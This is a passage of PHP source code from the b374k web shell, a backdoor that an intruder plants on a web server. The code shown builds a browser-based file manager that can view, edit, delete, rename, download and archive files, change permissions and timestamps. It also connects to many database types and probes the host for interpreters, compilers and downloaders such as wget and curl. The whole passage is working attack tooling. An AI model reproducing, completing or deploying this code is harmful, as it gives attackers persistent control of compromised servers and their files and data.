else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.'/', '', $s_file), @fgc($s_file));
}
}
elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @fgc($s_src));
}
$s_zip->close();
return true;
}
}
// check shell permission to access program
function check_access($s_lang){
$s_s = false;
$ver = "";
switch($s_lang){
case "python":
$s_cek = strtolower(exe("python -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("python -V");
break;
case "perl":
$s_cek = strtolower(exe("perl -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\"");
break;
case "ruby":
$s_cek = strtolower(exe("ruby -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v");
break;
case "node":
$s_cek = strtolower(exe("node -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("node -v");
break;
case "nodejs":
$s_cek = strtolower(exe("nodejs -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("nodejs -v");
break;
case "gcc":
$s_cek = strtolower(exe("gcc --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("gcc --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "tar":
$s_cek = strtolower(exe("tar --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("tar --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "java":
$s_cek = strtolower(exe("java -help"));
if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("java -version"));
break;
case "javac":
$s_cek = strtolower(exe("javac -help"));
if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("javac -version"));
break;
case "wget":
$s_cek = strtolower(exe("wget --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("wget --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "lwpdownload":
$s_cek = strtolower(exe("lwp-download --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("lwp-download --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "lynx":
$s_cek = strtolower(exe("lynx --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("lynx -version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "curl":
$s_cek = strtolower(exe("curl --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("curl --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
default:
return false;
}
if(!empty($ver)) $s_s = $ver;
return $s_s;
}
// explorer, return a table of given dir
function showdir($s_cwd){
global $s_self, $s_win, $s_posix, $s_tar;
$s_fname = $s_dname = array();
$s_total_file = $s_total_dir = 0;
if($s_dh = @opendir($s_cwd)){
while($s_file = @readdir($s_dh)){
if(@is_dir($s_file)) $s_dname[] = $s_file;
elseif(@is_file($s_file))$s_fname[] = $s_file;
}
closedir($s_dh);
}
natcasesort($s_fname);
natcasesort($s_dname);
$s_list = array_merge($s_dname,$s_fname);
if($s_win){
//check if this root directory
chdir("..");
if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, ".");
chdir($s_cwd);
}
$s_path = explode(DS,$s_cwd);
$s_tree = sizeof($s_path);
$s_parent = "";
if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS;
else $s_parent = $s_cwd;
$s_owner_html = (!$s_win && $s_posix)? "<th style='width:140px;min-width:140px;'>owner:group</th>":"";
$s_colspan = (!$s_win && $s_posix)? "5" : "4";
$s_buff = "<table class='explore sortable'><thead><tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>".$s_owner_html."<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>";
foreach($s_list as $s_l){
if(!$s_win && $s_posix){
$s_name = posix_getpwuid(fileowner($s_l));
$s_group = posix_getgrgid(filegroup($s_l));
$s_owner = $s_name['name']."<span class='gaya'>:</span>".$s_group['name'];
$s_owner_html = "<td style='text-align:center;'>".$s_owner."</td>";
}
$s_lhref = $s_lname = $s_laction = "";
if(@is_dir($s_l)){
if($s_l=="."){
$s_lhref = $s_self."cd=".pl($s_cwd);
$s_lsize = "LINK";
$s_laction = "<span id='titik1'><a href='".$s_self."cd=".pl($s_cwd)."&find=".pl($s_cwd)."'>find</a> | <a href='".$s_self."cd=".pl($s_cwd)."&x=upload"."'>upl</a> | <a href='".$s_self."cd=".pl($s_cwd)."&edit=".pl($s_cwd)."newfile_1&new=yes"."'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik1_form'></div>";
}
elseif($s_l==".."){
$s_lhref = $s_self."cd=".pl($s_parent);
$s_lsize = "LINK";
$s_laction = "<span id='titik2'><a href='".$s_self."cd=".pl($s_parent)."&find=".pl($s_parent)."'>find</a> | <a href='".$s_self."cd=".pl($s_parent)."&x=upload"."'>upl</a> | <a href='".$s_self."cd=".pl($s_parent)."&edit=".pl($s_parent)."newfile_1&new=yes"."'>+file</a> | <a href=\"javascript:tukar('titik2','".adds($s_parent)."', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik2_form'></div>";
}
else{
$s_lhref = $s_self."cd=".pl($s_cwd.$s_l.DS);
$s_lsize = "DIR";
$s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&find=".pl($s_cwd.$s_l.DS)."'>find</a> | <a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&x=upload"."'>upl</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\">ren</a> | <a href='".$s_self."cd=".pl($s_cwd)."&del=".pl($s_l)."'>del</a></span><div id='".cs($s_l)."__form'></div>";
$s_total_dir++;
}
$s_lname = "[ ".$s_l." ]";
$s_lsizetit = "0";
$s_lnametit = "dir : ".$s_l;
}
else{
$s_lhref = $s_self."view=".pl($s_cwd.$s_l);
$s_lname = $s_l;
$s_lsize = gs($s_l);
$s_lsizetit = @filesize($s_l);
$s_lnametit = "file : ".$s_l;
$s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."edit=".pl($s_cwd.$s_l)."'>edit</a> | <a href='".$s_self."hexedit=".pl($s_cwd.$s_l)."'>hex</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\">ren</a> | <a href='".$s_self."del=".pl($s_cwd.$s_l)."'>del</a> | <a href='".$s_self."dl=".pl($s_cwd.$s_l)."'>dl</a></span><div id='".cs($s_l)."__form'></div>";
$s_total_file++;
}
$s_cboxval = $s_cwd.$s_l;
if($s_l=='.') $s_cboxval = $s_cwd;
if($s_l=='..') $s_cboxval = $s_parent;
$s_cboxes_id = substr(md5($s_lhref),0,8);
$s_cboxes = "<input id='".$s_cboxes_id."' name='cbox' value='".hss($s_cboxval)."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".$s_cboxes_id."' class='css-label'></label>";
$s_ltime = filemtime($s_l);
$s_buff .= "<tr><td style='text-align:center;text-indent:4px;'>".$s_cboxes."</td><td class='xpl' title='".$s_lnametit."' ondblclick=\"return go('".adds($s_lhref)."',event);\"><a href='".$s_lhref."'>".$s_lname."</a></td><td title='".$s_lsizetit."'>".$s_lsize."</td>".$s_owner_html."<td class='ce'>".gp($s_l)."</td><td class='ce' title='".$s_ltime."'>".@date("d-M-Y H:i:s",$s_ltime)."</td><td>".$s_laction."</td></tr>";
}
$s_buff .= "</tbody>";
$s_extract = ""; $s_compress = "";
if(class_exists("ZipArchive")){
$s_extract .= "<option value='extractzip'>extract (zip)</option>";
$s_compress .= "<option value='compresszip'>compress (zip)</option>";
}
if($s_tar){
$s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>";
$s_compress .="<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>";
}
$s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."<option value='' disabled>-</option>".$s_compress:$s_extract.$s_compress;
$s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td><td><form action='".$s_self."' method='post'><select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'><option value='' disabled selected>Action</option><option value='cut'>cut</option><option value='copy'>copy</option><option value='paste'>paste</option><option value='delete'>delete</option><option value='' disabled>-</option><option value='chmod'>chmod</option><option value='touch'>touch</option><option value='' disabled>-</option>".$s_extcom."</select><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form></td><td colspan='".$s_colspan."' style='text-align:left;'>Total : ".$s_total_file." files, ".$s_total_dir." Directories<span id='total_selected'></span></td></tr></tfoot></table>";
return $s_buff;
}
//database related functions
function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){
if($s_sqltype == 'mysql'){
if(class_exists('mysqli')) return new mysqli($s_sqlhost, $s_sqluser, $s_sqlpass);
elseif(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
}
elseif($s_sqltype == 'mssql'){
if(function_exists('sqlsrv_connect')){
$s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass);
return @sqlsrv_connect($s_sqlhost,$s_coninfo);
}
elseif(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
}
elseif($s_sqltype == 'pgsql'){
$s_hosts = explode(":", $s_sqlhost);
if(count($s_hosts)==2){
$s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1];
}
else $s_host_str = "host=".$s_sqlhost;
if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
}
elseif($s_sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); }
elseif($s_sqltype == 'sqlite3'){
if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost);
else return false;
}
elseif($s_sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost); }
elseif($s_sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
elseif($s_sqltype == 'pdo'){
if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass);
else return false;
}
return false;
}
function sql_query($s_sqltype, $s_query, $s_con){
if($s_sqltype == 'mysql'){
if(class_exists('mysqli')) return $s_con->query($s_query);
elseif(function_exists('mysql_query')) return mysql_query($s_query);
}
elseif($s_sqltype == 'mssql'){
if(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query);
elseif(function_exists('mssql_query')) return mssql_query($s_query);
}
elseif($s_sqltype == 'pgsql') return pg_query($s_query);
elseif($s_sqltype == 'oracle') return oci_execute(oci_parse($s_con, $s_query));
elseif($s_sqltype == 'sqlite3') return $s_con->query($s_query);
elseif($s_sqltype == 'sqlite') return sqlite_query($s_con, $s_query);
elseif($s_sqltype == 'odbc') return odbc_exec($s_con, $s_query);
elseif($s_sqltype == 'pdo') return $s_con->query($s_query);
}
function sql_num_rows($s_sqltype,$s_hasil){
if($s_sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $s_hasil->mysqli_num_rows;
elseif(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);
}
elseif($s_sqltype == 'mssql'){
if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil);
elseif(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil);
}
elseif($s_sqltype == 'pgsql') return pg_num_rows($s_hasil);
elseif($s_sqltype == 'oracle') return oci_num_rows($s_hasil);
elseif($s_sqltype == 'sqlite3'){
$s_metadata = $s_hasil->fetchArray();
if(is_array($s_metadata)) return $s_metadata['count'];
}
elseif($s_sqltype == 'sqlite') return sqlite_num_rows($s_hasil);
elseif($s_sqltype == 'odbc') return odbc_num_rows($s_hasil);
elseif($s_sqltype == 'pdo') return $s_hasil->rowCount();
}
function sql_num_fields($s_sqltype, $s_hasil){
if($s_sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $s_hasil->field_count;
elseif(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);
}
elseif($s_sqltype == 'mssql'){
if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil);
elseif(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil);
}
elseif($s_sqltype == 'pgsql') return pg_num_fields($s_hasil);
elseif($s_sqltype == 'oracle') return oci_num_fields($s_hasil);
elseif($s_sqltype == 'sqlite3') return $s_hasil->numColumns();
elseif($s_sqltype == 'sqlite') return sqlite_num_fields($s_hasil);
elseif($s_sqltype == 'odbc') return odbc_num_fields($s_hasil);
elseif($s_sqltype == 'pdo') return $s_hasil->columnCount();
}
function sql_field_name($s_sqltype,$s_hasil,$s_i){
if($s_sqltype == 'mysql'){
if(class_exists('mysqli_result')) { $z=$s_hasil->fetch_field();return $z->name;}
elseif(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);
}
elseif($s_sqltype == 'mssql'){
if(function_exists('sqlsrv_field_metadata')){
$s_metadata = sqlsrv_field_metadata($s_hasil);
if(is_array($s_metadata)){
$s_metadata=$s_metadata[$s_i];
}
if(is_array($s_metadata)) return $s_metadata['Name'];
}
elseif(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i);
}
elseif($s_sqltype == 'pgsql') return pg_field_name($s_hasil,$s_i);
elseif($s_sqltype == 'oracle') return oci_field_name($s_hasil,$s_i+1);
elseif($s_sqltype == 'sqlite3') return $s_hasil->columnName($s_i);
elseif($s_sqltype == 'sqlite') return sqlite_field_name($s_hasil,$s_i);
elseif($s_sqltype == 'odbc') return odbc_field_name($s_hasil,$s_i+1);
elseif($s_sqltype == 'pdo'){
$s_res = $s_hasil->getColumnMeta($s_i);
return $s_res['name'];
}
}
function sql_fetch_data($s_sqltype,$s_hasil){
if($s_sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $s_hasil->fetch_row();
elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);
}
elseif($s_sqltype == 'mssql'){
if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1);
elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil);
}
elseif($s_sqltype == 'pgsql') return pg_fetch_row($s_hasil);
elseif($s_sqltype == 'oracle') return oci_fetch_row($s_hasil);
elseif($s_sqltype == 'sqlite3') return $s_hasil->fetchArray(1);
elseif($s_sqltype == 'sqlite') return sqlite_fetch_array($s_hasil,1);
elseif($s_sqltype == 'odbc') return odbc_fetch_array($s_hasil);
elseif($s_sqltype == 'pdo') return $s_hasil->fetch(2);
}
function sql_close($s_sqltype,$s_con){
if($s_sqltype == 'mysql'){
if(class_exists('mysqli')) return $s_con->close();
elseif(function_exists('mysql_close')) return mysql_close($s_con);
}
elseif($s_sqltype == 'mssql'){
if(function_exists('sqlsrv_close')) return sqlsrv_close($s_con);
elseif(function_exists('mssql_close')) return mssql_close($s_con);
}
elseif($s_sqltype == 'pgsql') return pg_close($s_con);
elseif($s_sqltype == 'oracle') return oci_close($s_con);
elseif($s_sqltype == 'sqlite3') return $s_con->close();
elseif($s_sqltype == 'sqlite') return sqlite_close($s_con);
elseif($s_sqltype == 'odbc') return odbc_close($s_con);
elseif($s_sqltype == 'pdo') return $s_con = null;
}
if(!function_exists('str_split')){
function str_split($s_t,$s_s=1){
$s_a = array();
for($s_i = 0; $s_i<strlen($s_t);){
$s_a[] = substr($s_t,$s_i,$s_s);
$s_i += $s_s;
}
return $s_a;
}
}
// appearance
$s_theme = "dark"; // default is dark
if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
if(isset($_GP['x']) && ($_GP['x']=='switch')){
if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
if($s_theme=="bright") $s_theme = "dark";
else $s_theme = "bright";
setcookie("theme", $s_theme ,time() + $s_login_time);
}
$s_highlight_dark = array("4C9CAF", "888888", "87DF45", "EEEEEE" , "FF8000");
$s_highlight_bright = array("B36350", "777777", "7820BA", "111111" , "007FFF");
global $s_self, $s_win, $s_posix;
$s_self = "?";
$s_cek1 = basename($_SERVER['SCRIPT_FILENAME']);
$s_cek2 = substr(basename('index.php'),0,strlen($s_cek1));
if(isset($_COOKIE['b374k_included'])){
if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE['s_self'];
else{
$s_self = "?";
setcookie("b374k_included", "0" ,time() - $s_login_time);
setcookie("s_self", $s_self ,time() + $s_login_time);
}
}
else{
if(strcmp($s_cek1,$s_cek2)!=0){
if(!isset($_COOKIE['s_home'])){
$s_home = "?".$_SERVER["QUERY_STRING"]."&";
setcookie("s_home", $s_home ,time() + $s_login_time);
}
if(isset($s_home)) $s_self = $s_home;
elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
setcookie("b374k_included", "1" ,time() + $s_login_time);
setcookie("s_self", $s_self ,time() + $s_login_time);
}
else{
$s_self = "?";
setcookie("b374k_included", "0" ,time() - $s_login_time);
setcookie("s_self", $s_self ,time() + $s_login_time);
}
}
$s_cwd = "";
if(isset($_GP['|'])) showcode($s_css);
elseif(isset($_GP['!'])) showcode($s_js);
if($s_auth){
// server software
$s_software = getenv("SERVER_SOFTWARE");
// uname -a
$s_system = php_uname();
// check os
$s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
// check for posix
$s_posix = (function_exists("posix_getpwuid"))? true : false;
// change working directory
if(isset($_GP['cd'])){
$s_dd = $_GP['cd'];
if(@is_dir($s_dd)){
$s_cwd = cp($s_dd);
chdir($s_cwd);
setcookie("cwd", $s_cwd ,time() + $s_login_time);
}
else $s_cwd = isset($_COOKIE['cwd'])? cp($_COOKIE['cwd']):cp(getcwd());;
}
else{
if(isset($_COOKIE['cwd'])){
$s_dd = ss($_COOKIE['cwd']);
if(@is_dir($s_dd)){
$s_cwd = cp($s_dd);
chdir($s_cwd);
}
}
else $s_cwd = cp(getcwd());
}
if(!$s_win && $s_posix){
$s_userarr = posix_getpwuid(posix_geteuid());
if(isset($s_userarr['name'])) $s_user = $s_userarr['name'];
else $s_user = "$";
}
else {
$s_user = get_current_user();
}
// prompt style
$s_prompt = $s_user." >";
// server ip
$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$s_my_ip = $_SERVER['REMOTE_ADDR'];
$s_result = "";
global $s_python, $s_perl, $s_ruby, $s_node, $s_nodejs, $s_gcc, $s_java, $s_javac, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
foreach($s_access as $s){
if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; }
else{
if(!isset($_COOKIE['b374k'])){
$t = explode("_", $s);
$t = check_access($t[1]);
if($t!==false){
$$s = $t;
setcookie($s, $$s ,time() + $s_login_time);
}
}
}
}
// download file specified by ?dl=<file>
if(isset($_GP['dl']) && ($_GP['dl'] != "")){
ob_end_clean();
$f = $_GP['dl'];
$fc = fgc($f);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($fc));
header("Content-disposition: attachment; filename=\"".basename($f)."\";");
echo $fc;
die();
}
// massact
if(isset($_GP['z'])){
$s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
$s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
$s_lists = explode("|", $s_buffer);
$s_counter = 0;
if(!empty($s_buffer)){
if($_GP['z']=='moveok'){
foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++;
if($s_counter>0) $s_result .= notif($s_counter." items moved");
else $s_result .= notif("No items moved");
}
elseif($_GP['z']=='copyok'){
foreach($s_lists as $s_l){
if(@is_dir($s_l)){
copys($s_l,$s_cwd.basename($s_l));
if(file_exists($s_cwd.basename($s_l))) $s_counter++;
}
elseif(@is_file($s_l)){
copy($s_l,$s_cwd.basename($s_l));
if(file_exists($s_cwd.basename($s_l))) $s_counter++;
}
}
if($s_counter>0) $s_result .= notif($s_counter." items copied");
else $s_result .= notif("No items copied");
}
elseif($_GP['z']=='delok'){
foreach($s_lists as $s_l){
if(@is_file($s_l)){
if(unlink($s_l)) $s_counter++;
}
elseif(@is_dir($s_l)){
rmdirs($s_l);
if(!file_exists($s_l)) $s_counter++;
}
}
if($s_counter>0) $s_result .= notif($s_counter." items deleted");
else $s_result .= notif("No items deleted");
}
elseif(isset($_GP['chmodok'])){
$s_mod = octdec($_GP['chmodok']);
foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++;
if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod));
else $s_result .= notif("No items modified");
}
elseif(isset($_GP['touchok'])){
$s_datenew = strtotime($_GP['touchok']);
foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++;
if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew));
else $s_result .= notif("No items modified");
}
elseif(isset($_GP['compresszipok'])){
$s_file = $_GP['compresszipok'];
if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".hss($s_file));
else $s_result .= notif("Error creating archive file");
}
elseif(isset($_GP['compresstarok'])){
$s_lists_ = array();
$s_file = $_GP['compresstarok'];
$s_file = basename($s_file);
$s_lists__ = array_map("basename", $s_lists);
$s_lists_ = array_map("pf", $s_lists__);
exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_));
if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
else $s_result .= notif("Error creating archive file");
}
elseif(isset($_GP['compresstargzok'])){
$s_lists_ = array();
$s_file = $_GP['compresstargzok'];
$s_file = basename($s_file);
$s_lists__ = array_map("basename", $s_lists);
$s_lists_ = array_map("pf", $s_lists__);
exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_));
if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
else $s_result .= notif("Error creating archive file");
}
elseif(isset($_GP['extractzipok'])){
$s_file = $_GP['extractzipok'];
$zip = new ZipArchive();
foreach($s_lists as $f){
$s_target = $s_file.basename($f,".zip");
if($zip->open($f)){
if(!@is_dir($s_target)) @mkdir($s_target);
if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".hss($s_target));
else $s_result .= notif("Error extrating archive file");
$zip->close();
}
else $s_result .= notif("Error opening archive file");
}
}
elseif(isset($_GP['extracttarok'])){
$s_file = $_GP['extracttarok'];
foreach($s_lists as $f){
$s_target = "";
$s_target = basename($f,".tar");
if(!@is_dir($s_target)) @mkdir($s_target);
exe("tar xf \"".basename($f)."\" -C \"".$s_target."\"");
}
}
elseif(isset($_GP['extracttargzok'])){
$s_file = $_GP['extracttargzok'];
foreach($s_lists as $f){
$s_target = "";
if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz");
elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz");
if(!@is_dir($s_target)) @mkdir($s_target);
exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\"");
}
}
}
setcookie("buffer", "" ,time() - $s_login_time);
setcookie("massact", "" ,time() - $s_login_time);
}
if(isset($_GP['y'])){
$s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
$s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
$s_lists = explode("|", $s_buffer);
if(!empty($s_buffer)){
if($_GP['y']=='delete'){
$s_result .= notif("Delete ? <a href='".$s_self."z=delok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='paste' && $s_massact=='cut'){
$s_result .= notif("Move here ? <a href='".$s_self."z=moveok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='paste' && $s_massact=='copy'){
$s_result .= notif("Copy here ? <a href='".$s_self."z=copyok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='chmod'){
$s_result .= notif("Permissions ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='0755' name='chmodok' style='width:30px;text-align:center;' maxlength='4' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='touch'){
$s_result .= notif("Touch ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".@date("d-M-Y H:i:s",time())."' name='touchok' style='width:130px;text-align:center;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='extractzip'){
$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extractzipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='extracttar'){
$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='extracttargz'){
$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='compresszip'){
$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".zip' name='compresszipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='compresstar'){
$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar' name='compresstarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP['y']=='compresstargz'){
$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar.gz' name='compresstargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
}
}
// view image specified by ?img=<file>
if(isset($_GP['img'])){
ob_end_clean();
$s_d = isset($_GP['d'])? $_GP['d']:"";
$s_f = $_GP['img'];
$s_inf = @getimagesize($s_d.$s_f);
$s_ext = explode($s_f, ".");
$s_ext = $s_ext[count($s_ext)-1];
header("Content-type: ".$s_inf["mime"]);
header("Cache-control: public");
header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));#
readfile($s_d.$s_f);
die();
} // rename file or folder
elseif(isset($_GP['oldname']) && isset($_GP['rename'])){
$s_old = $_GP['oldname'];
$s_new = $_GP['rename'];
$s_renmsg = "";
if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new;
elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new;
else $s_renmsg = "Cannot find the path specified ".$s_old;
$s_result .= notif($s_renmsg);
$s_fnew = $s_new;
} // confirm delete
elseif(!empty($_GP['del'])){
$s_del = trim($_GP['del']);
$s_result .= notif("Delete ".basename($s_del)." ? <a href='".$s_self."delete=".pl($s_del)."'>Yes</a> | <a href='".$s_self."'>No</a>");
} // delete file
elseif(!empty($_GP['delete'])){
$s_f = $_GP['delete'];
$s_delmsg = "";
if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f;
elseif(@is_dir($s_f)){
rmdirs($s_f);
$s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f;
}
else $s_delmsg = "Cannot find the path specified ".$s_f;
$s_result .= notif($s_delmsg);
} // create dir
elseif(!empty($_GP['mkdir'])){
$s_f = $s_cwd.$_GP['mkdir'];
$s_dirmsg = "";
$s_num = 1;
if(@is_dir($s_f)){
$s_pos = strrpos($s_f,"_");
if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1);
while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){
$s_num++;
}
$s_f = substr($s_f, 0, $s_pos)."_".$s_num;
}
if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f;
